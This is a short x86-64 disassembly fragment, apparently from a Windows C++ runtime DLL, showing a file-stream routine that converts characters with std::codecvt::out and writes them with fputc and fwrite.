call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x18006612a
sub eax, 1
je 0x18006612a
cmp eax, 2
jne 0x180066178
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x18006617d
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x18006615b
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x180066178
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x18006617d
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret